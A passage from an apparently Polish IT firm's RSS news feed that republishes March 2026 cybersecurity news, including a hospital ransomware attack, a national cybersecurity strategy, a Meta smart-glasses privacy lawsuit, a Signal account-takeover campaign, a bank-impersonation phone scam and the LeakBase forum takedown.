- W zwiand#261;zku z atakiem i utratand#261; dostand#281;pu do danych pacjentand#243;w, pracownikand#243;w, kontrahentand#243;w prosimy o szczegand#243;lnand#261; czujnoand#347;and#263;and#160;i rozwaand#380;enie m.in. zastrzeand#380;enia numerand#243;w PESEL, skorzystania z alertand#243;w BIK, zmianand#281; haseand#322;, uruchomienie dwuetapowych weryfikacji itp. Co prawda nie wiemy, czy dane zostaand#322;y, zostanand#261; udostand#281;pnione, ale w obecnej sytuacji taki scenariusz wydaje siand#281; niestety prawdopodobny and#8211; przekazaand#322; Owsik-Kozand#322;owski.


Zaapelowaand#322; teand#380; do pacjentand#243;w, ktand#243;rzy wybierajand#261; siand#281; do Szpitala Wojewand#243;dzkiego na planowand#261; hospitalizacjand#281;, badanie, czy wizytand#281; w poradni, o zabieranie ze soband#261; posiadanej dokumentacji medycznej.
and#160;
and#378;rodand#322;o PAP 10 marzec 2026and#160; misz/ agz/ ]]></description>
		</item><item>
			<title><![CDATA[ Cyberbezpieczeństwo jako polska racja stanu. Rząd przyjął strategię na lata 2025-2029 ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1630</link>
			<description><![CDATA[ Rada Ministrand#243;w przyjand#281;and#322;a we wtorek nowand#261; Strategiand#281; Cyberbezpieczeand#324;stwa RP - poinformowaand#322; wicepremier, minister cyfryzacji Krzysztof Gawkowski. To kluczowy dokument wyznaczajand#261;cy kierunki dziaand#322;aand#324; zwiand#261;zanych z cyberbezpieczeand#324;stwem do 2029 r. - dodaand#322;.



and#160;


fot. KPRM /and#160;/and#160;Kancelaria Prezesa Rady Ministrand#243;w


Wand#347;rand#243;d gand#322;and#243;wnych filarand#243;w dokumentu wicepremier wymieniand#322; suwerennoand#347;and#263; technologicznand#261; poprzez stawianie na rozwand#243;j rodzimych technologii i certyfikacjand#281; oraz mechanizmy eliminacji dostawcand#243;w wysokiego ryzyka.
Od DDoS po ochronand#281; toand#380;samoand#347;ci. Co zmieni nowa strategia rzand#261;du w sieci?
Strategia ma and#8222;uderzaand#263; w cyberprzestand#281;pcand#243;wand#8221; - podkreand#347;liand#322; Gawkowski na platformie X.and#160;Dokument zakand#322;ada bowiem skuteczniejszand#261; walkand#281; z kradzieand#380;and#261; toand#380;samoand#347;ci, faand#322;szywymi kartami SIM oraz szybszy dostand#281;p organand#243;w and#347;cigania do kluczowych informacji o przestand#281;pcach.
and#160;
Kolejnym filarem jest and#8222;jednoand#347;and#263; w dziaand#322;aniuand#8221;. Szef Ministerstwa Cyfryzacji podaand#322;, and#380;e strategia wzmacnia centralnand#261; instytucjand#281; koordynujand#261;cand#261; krajowe cyberbezpieczeand#324;stwo (PCOC). Zakand#322;ada teand#380; rozwand#243;j sektorowych zespoand#322;and#243;w reagowania na incydenty (CSIRT).
Dokument zakand#322;ada teand#380; and#8222;silne regiony i infrastrukturand#281;and#8221; poprzez kontynuacje programu and#8222;Cyberbezpieczny Samorzand#261;dand#8221; i and#8222;Cyberbezpieczne wodociand#261;giand#8221;. Jak podaand#322; Gawkowski, strategia zakand#322;ada teand#380; rozszerzenie ochrony Anty-DDoS dla kluczowych instytucji publicznych i Siand#322; Zbrojnych RP, czyli ochrony przed atakami rozproszonej odmowy usand#322;ugi (Distributed Denial of Service, DDoS) polegajand#261;cymi na przeciand#261;and#380;eniu serwera, sieci lub usand#322;ugi internetowej poprzez zalewanie ich ogromnand#261; liczband#261; zapytaand#324;.








Budujemy odporne cyfrowo paand#324;stwo. Bezpieczeand#324;stwo w internecie to nasza wspand#243;lna sprawa i polska racja stanu! - napisaand#322; wicepremier.

Filary nowej Strategii Cyberbezpieczeand#324;stwa RP
Strategia cyberbezpieczeand#324;stwa Rzeczypospolitej Polskiej na lata 2025-2029 zostaand#322;a przyjand#281;ta w postaci uchwaand#322;y. Dokument wyznacza cele w zakresie utrzymania cyberbezpieczeand#324;stwa w kraju oraz and#347;rodki ich realizacji. Zastand#261;piand#322; on poprzedniand#261; strategiand#281;, ktand#243;ra obowiand#261;zywaand#322;a w latach 2019-2024.
Nowa strategia uwzgland#281;dnia zmiany w and#347;rodowisku bezpieczeand#324;stwa miand#281;dzynarodowego oraz kwestie zwiand#261;zane z postand#281;pem technologicznym i powszechnand#261; cyfryzacjand#261; wszystkich dziedzin and#380;ycia - wskazano w wykazie prac legislacyjnych i programowych Rady Ministrand#243;w. Ma teand#380; byand#263; odpowiedziand#261; na wzrost aktywnoand#347;ci cyberprzestand#281;pcand#243;w, ktand#243;rych dziaand#322;ania stanowiand#261; zagroand#380;enie dla codziennego funkcjonowania, bezpieczeand#324;stwa i prywatnoand#347;ci przedsiand#281;biorstw, instytucji publicznych oraz obywateli, w tym dzieci, mand#322;odzieand#380;y i seniorand#243;w.
Dokument, poza celami strategicznymi, wyznacza m.in. dziaand#322;ania zwiand#261;zane z programami edukacyjnymi, informacyjnymi i szkoleniowymi z zakresu cyberbezpieczeand#324;stwa. Zawarto w nim teand#380; plany badawczo-rozwojowe w tym obszarze. Strategia uwzgland#281;dnia rand#243;wnieand#380; sposoby przeciwdziaand#322;ania i zwalczania cyberprzestand#281;pczoand#347;ci oraz uzyskania zdolnoand#347;ci do prowadzenia peand#322;nego spektrum dziaand#322;aand#324; w cyberprzestrzeni. Ponadto Strategia uwzgland#281;dnia miand#281;dzynarodowand#261; wspand#243;and#322;pracand#281; w zakresie cyberbezpieczeand#324;stwa. (PAP)
and#378;rodand#322;o PAP 10 marzec 2026 and#160;mbl/ mrr/ ]]></description>
		</item><item>
			<title><![CDATA[ Meta w centrum skandalu. Intymne nagrania z okularów Ray-Ban trafiły w niepowołane ręce ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1629</link>
			<description><![CDATA[ Miaand#322; byand#263; przeand#322;om w technologii, jest gigantyczny skandal obyczajowy i prawny. Inteligentne okulary Ray-Ban Meta, reklamowane jako and#8222;zaprojektowane z myand#347;land#261; o prywatnoand#347;ciand#8221;, staand#322;y siand#281; narzand#281;dziem masowej inwigilacji. Do sand#261;du wpand#322;ynand#261;and#322; wand#322;aand#347;nie pozew zbiorowy, z ktand#243;rego wynika, and#380;e intymne momenty z and#380;ycia uand#380;ytkownikand#243;w byand#322;y masowo ogland#261;dane przez pracownikand#243;w kontraktowych w Kenii.



and#160;


fot. Carlos Barria /and#160;/and#160; Reuters / Forum


Zaczand#281;and#322;o siand#281; od and#347;ledztwa szwedzkich dziennikarzy z and#8222;Svenska Dagbladetand#8221;, a skoand#324;czyand#322;o na twardej batalii prawnej w USA. Uand#380;ytkownicy, ktand#243;rzy zaufali zapewnieniom Marka Zuckerberga o bezpieczeand#324;stwie danych, mogand#261; czuand#263; siand#281; oszukani. Jak wynika z dokumentand#243;w procesowych,and#160;nagrania z okularand#243;w trafiaand#322;y do zewnand#281;trznych firm, gdzie tysiand#261;ce pracownikand#243;w rand#281;cznie and#8222;etykietowaand#322;oand#8221; materiaand#322;y wideo, by szkoliand#263; algorytmy sztucznej inteligencji Metaand#160;



and#160;



and#8222;Ogland#261;dasz czyjeand#347; and#380;ycie i masz milczeand#263;and#8221;
Relacje pracownikand#243;w kenijskiej firmy Sama, ktand#243;ra jest podwykonawcand#261; giganta, mroand#380;and#261; krew w and#380;yand#322;ach. Anonimowi informatorzy przyznajand#261;, and#380;e na ich ekrany regularnie trafiaand#322;y nagrania z sypialni, and#322;azienek, a nawet sceny seksu czy osoby przebierajand#261;ce siand#281; w swoich domach.
and#8211; Rozumiesz, and#380;e to, co ogland#261;dasz, to czyjeand#347; prywatne and#380;ycie, ale oczekuje siand#281; od ciebie wykonywania obowiand#261;zkand#243;w. Jeand#347;li zaczniesz zadawaand#263; pytania, wylatujesz and#8211; wyznaand#322; jeden z moderatorand#243;w.and#160;Systemy, ktand#243;re miaand#322;y automatycznie rozmywaand#263; twarze i wraand#380;liwe dane (jak numery kart pand#322;atniczych widoczne na nagraniach), wedand#322;ug relacji and#347;wiadkand#243;w zawodzand#261; w co piand#261;tym przypadku.
Puand#322;apka w regulaminie
Meta broni siand#281;, wskazujand#261;c na zapisy w regulaminie, ktand#243;re mand#243;wiand#261; o tym, and#380;e interakcje z AI mogand#261; byand#263; przegland#261;dane and#8222;automatycznie lub manualnieand#8221;. Jednak prawnicy reprezentujand#261;cy poszkodowanych podkreand#347;lajand#261;, and#380;e hasand#322;a marketingowe typu and#8222;Pod Twojand#261; kontroland#261;and#8221; wprowadzaand#322;y konsumentand#243;w w band#322;and#261;d.and#160;Wiand#281;kszoand#347;and#263; uand#380;ytkownikand#243;w nie miaand#322;a and#347;wiadomoand#347;ci, and#380;e funkcja asystenta AI wymaga przesyand#322;ania obrazu na serwery, gdzie moand#380;e go obejrzeand#263; czand#322;owiek.







Problem jest ogromny and#8211; tylko w samym 2025 rokuand#160;Meta sprzedaand#322;a ponad siedem milionand#243;w par tych okularand#243;w.and#160;Kaand#380;dy z tych uand#380;ytkownikand#243;w mand#243;gand#322; nieand#347;wiadomie staand#263; siand#281; bohaterem and#8222;filmuand#8221;, ktand#243;ry trafiand#322; do analizy na inny kontynent.
Eksperci ostrzegajand#261;: to dopiero poczand#261;tek
Sprawand#261; zainteresowaand#322;y siand#281; juand#380; organy regulacyjne w Wielkiej Brytanii i USA. Eksperci ds. cyberbezpieczeand#324;stwa zwracajand#261; uwagand#281;, and#380;e era and#8222;wearablesand#8221; (technologii ubieralnej) niesie ze soband#261; ryzyka, ktand#243;rych wczeand#347;niej nie znaliand#347;my. Nasze okulary, zegarki czy naszyjniki AI stajand#261; siand#281; oknem na nasze najbardziej prywatne chwile, do ktand#243;rego klucze trzymajand#261; korporacje.
Pozew zbiorowy zand#322;oand#380;ony w San Francisco domaga siand#281; nie tylko gigantycznych odszkodowaand#324;, ale przede wszystkim zmiany sposobu, w jaki Meta informuje o przetwarzaniu danych. Czy sprawa ta zahamuje rozwand#243;j inteligentnych okularand#243;w? Na razie pewne jest jedno: zdejmujand#261;c Ray-Bany przed wejand#347;ciem do and#322;azienki, robisz to, czego ich twand#243;rcy nie przewidzieli w kampanii reklamowej.
and#160;
and#160;
and#378;rodand#322;o Bankier.pl 10 marzec 2026and#160; oprac. KWS

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Signal i WhatsApp na celowniku hakerów? Holandia ostrzega przed rosyjską kampanią ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1628</link>
			<description><![CDATA[ Holenderskie sand#322;uand#380;by wywiadowcze AIVD i MIVD poinformowaand#322;y w poniedziaand#322;ek, and#380;e rosyjscy hakerzy prowadzili zakrojonand#261; na szerokand#261; skaland#281; kampaniand#281; w celu przejand#281;cia kont uand#380;ytkownikom aplikacji Signal i WhatsApp, w tym urzand#281;dnikom paand#324;stwowym, wojskowym i dziennikarzom. Czand#281;and#347;and#263; miaand#322;a zostaand#263; skutecznie przejand#281;ta.



and#160;


fot. Max Acronym /and#160;/and#160;Shutterstock


Jak podaand#322;y sand#322;uand#380;by, celem kampanii byli wysocy rangand#261; przedstawiciele wand#322;adz, wojskowi i urzand#281;dnicy na caand#322;ym and#347;wiecie, a takand#380;e dziennikarze. Holenderskie wand#322;adze przekazaand#322;y, and#380;e holenderskie ofiary operacji zostaand#322;y juand#380; poinformowane; nie ujawniono jednak ich liczby ani toand#380;samoand#347;ci.
Wedand#322;ug AIVD i MIVD ataki nie polegaand#322;y na wykorzystaniu luk technicznych w samych aplikacjach, ale na manipulowaniu uand#380;ytkownikami. Hakerzy mieli podszywaand#263; siand#281; m.in. pod wsparcie techniczne Signala i nakand#322;aniaand#263; ofiary do podania kodand#243;w weryfikacyjnych, PIN-u lub do zeskanowania kodu QR. W ten sposand#243;b napastnicy mogli przejand#261;and#263; konto albo dodaand#263; wand#322;asne urzand#261;dzenie do juand#380; istniejand#261;cego konta i uzyskaand#263; dostand#281;p do korespondencji, takand#380;e w czatach grupowych.
Sand#322;uand#380;by przypomniaand#322;y, and#380;e w juand#380; przeszand#322;oand#347;ci obserwowano podobne dziaand#322;ania rosyjskich grup.and#160;W latach 2023-2024 stosowano phishing z wykorzystaniem zaproszeand#324; do grup czatowych, a w 2025 r. prowadzono kampaniand#281; nakand#322;aniajand#261;cand#261; uand#380;ytkownikand#243;w Signala do rzekomej, ponownej weryfikacji konta.
and#160;
W lutym br. przed podobnand#261; kampaniand#261; ostrzegaand#322; takand#380;e niemiecki wywiad. Informowaand#322; wand#243;wczas o atakach wymierzonych w politykand#243;w, wojskowych, dyplomatand#243;w i dziennikarzy and#347;ledczych w Niemczech oraz innych krajach Europy.







Holenderskie sand#322;uand#380;by zaleciand#322;y, by nie przekazywaand#263; poufnych ani tajnych informacji za poand#347;rednictwem komunikatorand#243;w, regularnie sprawdzaand#263; listand#281; podand#322;and#261;czonych urzand#261;dzeand#324;, ignorowaand#263; niezamand#243;wione zaproszenia do grup oraz rozwaand#380;yand#263; korzystanie z funkcji znikajand#261;cych wiadomoand#347;ci.
and#378;rodand#322;o PAP 9 marzec 2026and#160; Patryk Kulpok (PAP) pmk/ piu/
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Zadzwonili z "departamentu bezpieczeństwa PKO BP". Relacja ofiary cyberoszustów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1627</link>
			<description><![CDATA[ Zaczand#281;and#322;o siand#281; od telefonu od rzekomego pracownika bankowego. Numer identyfikacyjny, artykuand#322;y kodeksu karnego, sprytna narracja o przestand#281;pczej grupie and#8211; i zakaz kontaktowania siand#281; z policjand#261;, by and#8222;nie zepsuand#263; and#347;ledztwaand#8221;. Mand#243;j kolega Tomek prawie wpadand#322; w puand#322;apkand#281;. Opowiada, jak to wygland#261;daand#322;o krok po kroku.



and#160;


/and#160;Bankier.pl


Pierwsze uderzenie: jesteand#347; ofiarand#261;, nie podejrzanym
Zaczand#281;and#322;o siand#281; od telefonu. Dzwoniand#261;cy przedstawiand#322; siand#281; z imienia i nazwiska, podaand#322; numer identyfikacyjny pracownika i od razu poprosiand#322; o zanotowanie danych and#8211; and#8222;and#380;eby mand#243;gand#322; mnie pan pand#243;and#378;niej wskazaand#263;and#8221;. Departament bezpieczeand#324;stwa PKO BP, sprawa pilna: na jego dane ktoand#347; zaciand#261;gnand#261;and#322; poand#380;yczkand#281; w banku.
and#8222;Pracownikand#8221; podaand#322; szczegand#243;and#322;y domniemanej transakcji i zapytaand#322;, czy Tomek je potwierdza. Oczywiand#347;cie wszystko byand#322;o nieprawdziwe. Kolega zaczand#261;and#322; drand#261;and#380;yand#263; and#8211; jak to moand#380;liwe, skoro nie dostaand#322; and#380;adnego alertu ani powiadomienia o logowaniu profilem zaufanym? Rozmand#243;wca profesjonalnie odpieraand#322; wand#261;tpliwoand#347;ci, wyjaand#347;niajand#261;c, and#380;e poand#380;yczkand#281; moand#380;na zaciand#261;gnand#261;and#263; na trzy sposoby: przez aplikacjand#281; mobilnand#261;, przez profil zaufany lub osobiand#347;cie w placand#243;wce.
A potem przyszand#322;o gand#322;and#243;wne uderzenie: to szeroko zakrojona akcja przestand#281;pcza, prawdopodobnie z udziaand#322;em skorumpowanych pracownikand#243;w banku. Dlatego wszystko objand#281;te jest and#347;cisand#322;and#261; tajemnicand#261;. I dlatego and#8211; tu zaczand#261;and#322; sypaand#263; artykuand#322;ami kodeksu karnego and#8211; jeand#347;li Tomek powie o tej sprawie komukolwiek, grozi mi zarzut utrudniania and#347;ledztwa.
Nastand#281;pnie padand#322;o pytanie: w jakich bankach ma rachunki i mniej wiand#281;cej jakie kwoty? Po dziesiand#281;ciu minutach opierania siand#281;, Tomek siand#281; ugiand#261;and#322;. and#8222;Z tyand#322;u gand#322;owy miaand#322;em and#347;wiadomoand#347;and#263;, and#380;e to informacja, ktand#243;rand#261; moand#380;na wykorzystaand#263; do oceny zdolnoand#347;ci kredytowej. Ale myand#347;land#281;, and#380;e dla przestand#281;pcand#243;w byand#322; to gand#322;and#243;wnie filtr and#8211; czy warto traciand#263; na mnie wiand#281;cej czasuand#8221; and#8211; mand#243;wi mand#243;j rozmand#243;wca.








Kilka rzeczy uand#322;atwiand#322;o im robotand#281;:









Dzwoniand#261;cy miaand#322; wschodni akcent, ale podaand#322; wschodnie nazwisko. and#8222;Przez chwiland#281; walczyand#322;em ze swoimi stereotypami i to mnie spowolniand#322;oand#8221; and#8211; tand#322;umaczy Tomek.
and#8222;Tydzieand#324; wczeand#347;niej skradziono mi rower. Zaczand#261;and#322;em siand#281; zastanawiaand#263;, czy w sakwie nie leand#380;aand#322; paragon albo faktura, ktand#243;ra mogand#322;a posand#322;uand#380;yand#263; do wyand#322;udzenia kredytu. Ten zbieg okolicznoand#347;ci skutecznie zahaczyand#322; moje myand#347;lenieand#8221; and#8211; dodaje.
and#8222;Przez caand#322;y czas trzymali mnie na linii. Rozand#322;and#261;czenie siand#281; byand#322;o przedstawiane jako brak wspand#243;and#322;pracy ze and#347;ledztwem and#8211; i kolejny powand#243;d do postawienia zarzutand#243;wand#8221; and#8211; relacjonuje ofiara.

Drugie uderzenie: SMS z BIK-u i pracownik and#8222;bez akcentuand#8221;
and#8222;Po zebraniu wstand#281;pnych informacji rozmand#243;wca poinformowaand#322;, and#380;e &gt;&gt;szuka dla mnie pracownika operacyjnego z dziaand#322;u bezpieczeand#324;stwa PKO BPL ]]></description>
		</item><item>
			<title><![CDATA[ Polska infrastruktura na celowniku. Firmy szykują się na brak energii i internetu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1626</link>
			<description><![CDATA[ Choand#263; najczand#281;and#347;ciej wskazywanym w analizie ryzyka scenariuszem jest utrata kluczowego dostawcy usand#322;ug chmurowych (37 proc.), 26 proc. firm zwraca uwagand#281; na wojnand#281; hybrydowand#261; i sabotaand#380; - wynika z badania KPMG "Barometr cyberbezpieczeand#324;stwa 2026". 36 proc. firm bierze pod uwagand#281; dand#322;ugotrwaand#322;y brak energii.






and#160;


fot. Who is Danny /and#160;/and#160;Shutterstock


Jak podano, zakres scenariuszy zagroand#380;eand#324; uwzgland#281;dnianych w analizach ryzyka w ramach zarzand#261;dzania ciand#261;gand#322;oand#347;ciand#261; dziaand#322;ania pokazuje, na ile organizacje przygotowujand#261; siand#281; na zdarzenia o charakterze systemowym i dand#322;ugotrwaand#322;ym.
"Scenariuszami zagroand#380;eand#324; najczand#281;and#347;ciej wskazywanymi w analizie ryzyka sand#261;:and#160;utrata kluczowego dostawcy usand#322;ug chmurowych (37 proc.) oraz dand#322;ugotrwaand#322;y brak energii elektrycznejand#160;(36 proc.). 29 proc. ankietowanych firm wand#347;rand#243;d scenariuszy zagroand#380;eand#324; uwzgland#281;dnia dand#322;ugotrwaand#322;y brak dostand#281;pu do Internetu. Jednoczeand#347;nie juand#380; co czwarty ankietowany (26 proc.) zwraca uwagand#281; na wojnand#281; hybrydowand#261; i sabotaand#380;" - napisano w komunikacie poand#347;wiand#281;conym raportowi "Barometr cyberbezpieczeand#324;stwa 2026. Cyberodpornoand#347;and#263; w erze zmian".
Kolejnymi zagroand#380;eniami uwzgland#281;dnianymi w firmowych analizach ryzyka sand#261; awarie technologicznego and#322;aand#324;cucha dostaw, np. zainfekowane aktualizacje (23 proc.), rozlegand#322;y atak ransomware (21 proc.), a 16 proc. ankietowanych bierze pod uwagand#281; rand#243;wnieand#380; ryzyko peand#322;noskalowego konfliktu zbrojnego" - napisano dalej.





Jak podkreand#347;liand#322;o KPMG, skala przygotowaand#324; wciand#261;and#380; nie nadand#261;and#380;a za tempem zmian w and#347;rodowisku bezpieczeand#324;stwa, w ktand#243;rym infrastruktura cyfrowa staje siand#281; jednym z pierwszych celand#243;w destabilizacji.
"W analizach ryzyka pojawia siand#281; scenariusz wojny peand#322;noskalowej. Co czwarta organizacja przygotowuje siand#281; na ryzyka zwiand#261;zane z wojnand#261; hybrydowand#261; i sabotaand#380;em. Jednoczesna utrata wszystkich centrand#243;w przetwarzania danych w wyniku dziaand#322;aand#324; dywersyjnych staje siand#281; realnym zagroand#380;eniem. Dlatego obserwujemy m.in. przyspieszonand#261; adopcjand#281; chmury publicznej, rand#243;wnieand#380; dla celand#243;w zapewnienia bezpieczeand#324;stwa" - powiedziaand#322; cytowany w komunikacie Michaand#322; Kurek, Partner, Advisory, Szef Zespoand#322;u Cyberbezpieczeand#324;stwa w KPMG w Polsce i Europie and#346;rodkowo-Wschodniej.

Raport wskazuje rand#243;wnieand#380; na dwukrotny wzrost liczby organizacji posiadajand#261;cych dedykowanego CISO (Chief Information Security Officer), natomiast na pierwsze miejsce wand#347;rand#243;d barier budowania skutecznego cyberbezpieczeand#324;stwa wysunand#261;and#322; siand#281; brak zaangaand#380;owania najwyand#380;szego kierownictwa.
KPMG wskazaand#322;o teand#380;, and#380;e deklarowane przez ankietowanych mechanizmy zapewnienia cyberodpornoand#347;ci koncentrujand#261; siand#281; przede wszystkim na rozwiand#261;zaniach o charakterze organizacyjnym i procesowym. 46 proc. respondentand#243;w deklaruje wdroand#380;enie programu zarzand#261;dzania bezpieczeand#324;stwem and#322;aand#324;cucha dostaw w postaci audytu dostawcand#243;w, 35 proc. firm przygotowuje kompleksowe plany zapewnienia ciand#261;gand#322;oand#347;ci dziaand#322;ania (BCP), a 30 proc. prowadzi regularne analizy ryzyka w obszarze cyberbezpieczeand#324;stwa i ciand#261;gand#322;oand#347;ci dziaand#322;ania.
"Najwiand#281;kszym zagroand#380;eniem dla firm pozostajand#261; hakerzy dziaand#322;ajand#261;cy w pojedynkand#281; and#8211; wskazaand#322;o ich 46 proc. respondentand#243;w. Na drugim miejscu znaleand#378;li siand#281; cyberterroryand#347;ci (35 proc.), zaand#347; na trzecim haktywiand#347;ci (24 proc.). W tegorocznej edycji badania phishing ponownie zostaand#322; uznany za cyberzagroand#380;enie generujand#261;ce najpowaand#380;niejsze ryzyko operacyjne and#8211; wyprzedzajand#261;c m.in. ataki wykorzystujand#261;ce band#322;and#281;dy w aplikacjach oraz kradzieand#380; danych przez pracownikand#243;w" - napisano w komunikacie.
Jak podano, w 2026 roku firmy planujand#261; koncentrowaand#263; swoje budand#380;ety przede wszystkim na ochronie przed zand#322;oand#347;liwym oprogramowaniem, programach podnoszenia and#347;wiadomoand#347;ci pracownikand#243;w oraz bezpieczeand#324;stwie sieci wewnand#281;trznej. Wyraand#378;nie wzrosand#322;o takand#380;e znaczenie inwestycji w zarzand#261;dzanie bezpieczeand#324;stwem partnerand#243;w biznesowych, co odzwierciedla rosnand#261;cand#261; presjand#281; regulacyjnand#261;.
Raport "Barometr cyberbezpieczeand#324;stwa 2026. Cyberodpornoand#347;and#263; w erze zmian" zostaand#322; opracowany przez KPMG w Polsce na podstawie badania ankietowego przeprowadzonego metodand#261; CATI w grudniu 2025 roku wand#347;rand#243;d 100 osand#243;b odpowiedzialnych za bezpieczeand#324;stwo IT w organizacjach dziaand#322;ajand#261;cych w Polsce. Prand#243;ba objand#281;and#322;a maand#322;e (30 proc.), and#347;rednie (50 proc.) i duand#380;e (20 proc.) przedsiand#281;biorstwa reprezentujand#261;ce 16 branand#380;.(PAP Biznes)
and#160;
and#160;
and#378;rodand#322;o PAP Biznes 8 marzec 2026 tom/ ana/
and#160;
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na szpital w Szczecinie. Systemy zablokowane, lekarze przeszli na papier ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1625</link>
			<description><![CDATA[ Samodzielny Publiczny Wojewand#243;dzki Szpital Zespolony w Szczecinie padand#322; ofiarand#261; ataku cyberprzestand#281;pcand#243;w. System informatyczny zostaand#322; zainfekowany. Placand#243;wka przeszand#322;a na papierowy tryb pracy and#8211; poinformowaand#322; w niedzieland#281; rzecznik szpitala Tomasz Owsik-Kozand#322;owski.



and#160;


fot. Markus Spiske /and#160;/and#160;Pexels


Do ataku cyberprzestand#281;pcand#243;w na system informatyczny szczeciand#324;skiego szpitala wojewand#243;dzkiego doszand#322;o w nocy z soboty na niedzieland#281;. Jak podaand#322; Owsik-Kozand#322;owski, system zostaand#322; zainfekowany. Czand#281;and#347;and#263; danych przestand#281;pcy zaszyfrowali, blokujand#261;c do nich dostand#281;p.
"Szpital pilnie wdroand#380;yand#322; procedury awaryjne, w tym m.in. przejand#347;cie na papierowy tryb pracy. Dyrekcja placand#243;wki o ataku niezwand#322;ocznie poinformowaand#322;a odpowiednie sand#322;uand#380;by i pozostaje z nimi w staand#322;ym kontakcie" and#8211; zaznaczyand#322; Owsik-Kozand#322;owski.
and#160;
Zapewniand#322;, and#380;eand#160;mimo tych trudnoand#347;ci, zdrowie i and#380;ycie pacjentand#243;w nie sand#261; zagroand#380;one. Podkreand#347;liand#322;, and#380;e aktualnie and#8222;priorytetem dla szpitala jest przywrand#243;cenie dostand#281;pu do systemu informatycznego i powrand#243;t do standardowego trybu pracyand#8221;.
Szpital nie wstrzymaand#322; przyjand#281;and#263; pacjentand#243;w. Procedury medyczne i administracyjne trwajand#261; jednak dand#322;uand#380;ej. - Prosimy pacjentand#243;w, by and#8211; w miarand#281; moand#380;liwoand#347;ci and#8211; kierowali siand#281; do innych placand#243;wek and#8211; zaapelowaand#322; Owsik-Kozand#322;owski. (PAP)
and#378;rodand#322;o PAP 8 marzec 2026 ing/ mmu/
and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Akcja zwalczania cyberprzestępczości. Zlikwidowano jedno z największych forów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1624</link>
			<description><![CDATA[ 3-08 10:00



W wyniku skoordynowanej akcji Europolu i Centralnego Biura Zwalczania Cyberprzestand#281;pczoand#347;ci zlikwidowano LeakBase - jedno z najwiand#281;kszych forand#243;w handlujand#261;cych skradzionymi danymi - przekazaand#322;a rzeczniczka MSWiA Karolina Gaand#322;ecka. Forum miaand#322;o ponad 142 tys. zarejestrowanych uand#380;ytkownikand#243;w.



and#160;


fot. Vincent Isore / Zuma Press / Forum /and#160;/and#160;FORUM


Gaand#322;ecka podaand#322;a na X wpis Centralnego Biura Zwalczania Cyberprzestand#281;pczoand#347;ci, gdzie poinformowano, and#380;e dziaand#322;ania, w ktand#243;rych braand#322;o m.in. CBZC byand#322;y skoordynowanand#261;, miand#281;dzynarodowand#261; operacjand#261; prowadzonand#261; przez Europol.
CBZC przekazaand#322;o, and#380;e dziaand#322;ania sand#322;uand#380;b odbyand#322;y siand#281; we wtorek i and#347;rodand#281; w wielu krajach i powaand#380;nie zakand#322;and#243;ciand#322;y funkcjonowanie forum oraz byand#322;y skierowane przeciwko jego najbardziej aktywnym uand#380;ytkownikom.
and#160;
and#8222;W operacji udziaand#322; wziand#281;and#322;o Centralne Biuro Zwalczania Cyberprzestand#281;pczoand#347;ci, ktand#243;re na terenie caand#322;ej Polski zatrzymaand#322;o szeand#347;and#263; osand#243;b. Podejrzani zostali doprowadzeni do wand#322;aand#347;ciwych miejscowo prokuratur, gdzie usand#322;yszeli zarzuty karne z art 269b par. 1. kk. tj. wytwarzanie pozyskiwanie, udostand#281;pnianie lub zbywanie narzand#281;dzi hakerskich, sand#322;uand#380;and#261;cych do popeand#322;niania cyberprzestand#281;pstwand#8221; - podaand#322;o Biuro.
Podczas przeszukaand#324; funkcjonariusze zabezpieczyli urzand#261;dzenia oraz noand#347;niki pamiand#281;ci cyfrowych - dyski, pendrivy, telefony, komputery i laptopy.
and#160;
Jak informuje policja, LeakBase, and#8222;staand#322;o siand#281; centralnym punktem ekosystemu cyberprzestand#281;pczoand#347;ci, specjalizujand#261;cym siand#281; w handlu wyciekajand#261;cymi bazami danych and#8211; archiwami skradzionych danych uwierzytelniajand#261;cych zebranych za pomocand#261; zand#322;oand#347;liwego oprogramowania typu infostealerand#8221;.
Platforma dostand#281;pna byand#322;a w otwartej sieci i dziaand#322;aand#322;a w jand#281;zyku angielskim. and#321;and#261;czyand#322;a elementy forum i tablicy dyskusyjnej, umoand#380;liwiajand#261;c cyberprzestand#281;pcom kupowanie, sprzedawanie i wymianand#281; skradzionych danych.
Od 2021 r. LeakBase prowadziand#322;o - podaje CBZC - obszerne i stale aktualizowane archiwum baz danych, ktand#243;re padand#322;y ofiarand#261; wand#322;amaand#324;, od historycznych wyciekand#243;w po nowo ujawnione dane. and#8222;Na forum znajdowaand#322;y siand#281; duand#380;e iloand#347;ci par danych uwierzytelniajand#261;cych and#8211; w tym kombinacje adresand#243;w e-mail i haseand#322; and#8211; oraz inne dane dostand#281;powe wykorzystywane do przejmowania kont, oszustw i dalszych cyberatakand#243;wand#8221; - czytamy w informacji CBZC.
Do grudnia ubiegand#322;ego roku forum liczyand#322;o ponad 142 tys. zarejestrowanych uand#380;ytkownikand#243;w, okoand#322;o 32 tys. postand#243;w i ponad 215 tys. prywatnych wiadomoand#347;ci, co - jak wskazuje CBZC - podkreand#347;la jego skaland#281; i globalny zasiand#281;g.
and#160;
W akcji uczestniczyand#322;y sand#322;uand#380;by z Australii, Stanand#243;w Zjednoczonych, Kanady, Belgii, Grecji, Holandii, Polski, Portugalii, Rumunii, Hiszpanii, Wielkiej Brytanii, Niemiec, Malezji i Kosowa, a dziand#281;ki przejand#281;ciu przez nie bazy danych forum wykryto wielu uand#380;ytkownikand#243;w, ktand#243;rzy uwaand#380;ali, and#380;e dziaand#322;ajand#261; anonimowo.(PAP)
and#378;rodand#322;o PAP 8 marzec 2026 mchom/ mark/ ]]></description>
		</item><item>
			<title><![CDATA[ Wielka obława na cyberprzestępców. "Zablokowaliśmy 120 polskich domen" ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1623</link>
			<description><![CDATA[ Dziand#281;ki miand#281;dzynarodowej akcji, zablokowano m.in. 120 polskich domen powiand#261;zanych z dziaand#322;alnoand#347;ciand#261; phishingowand#261; - poinformowaand#322; w czwartek minister cyfryzacji Krzysztof Gawkowski.



and#160;


fot. Rahul Pandit /and#160;/and#160;pexels

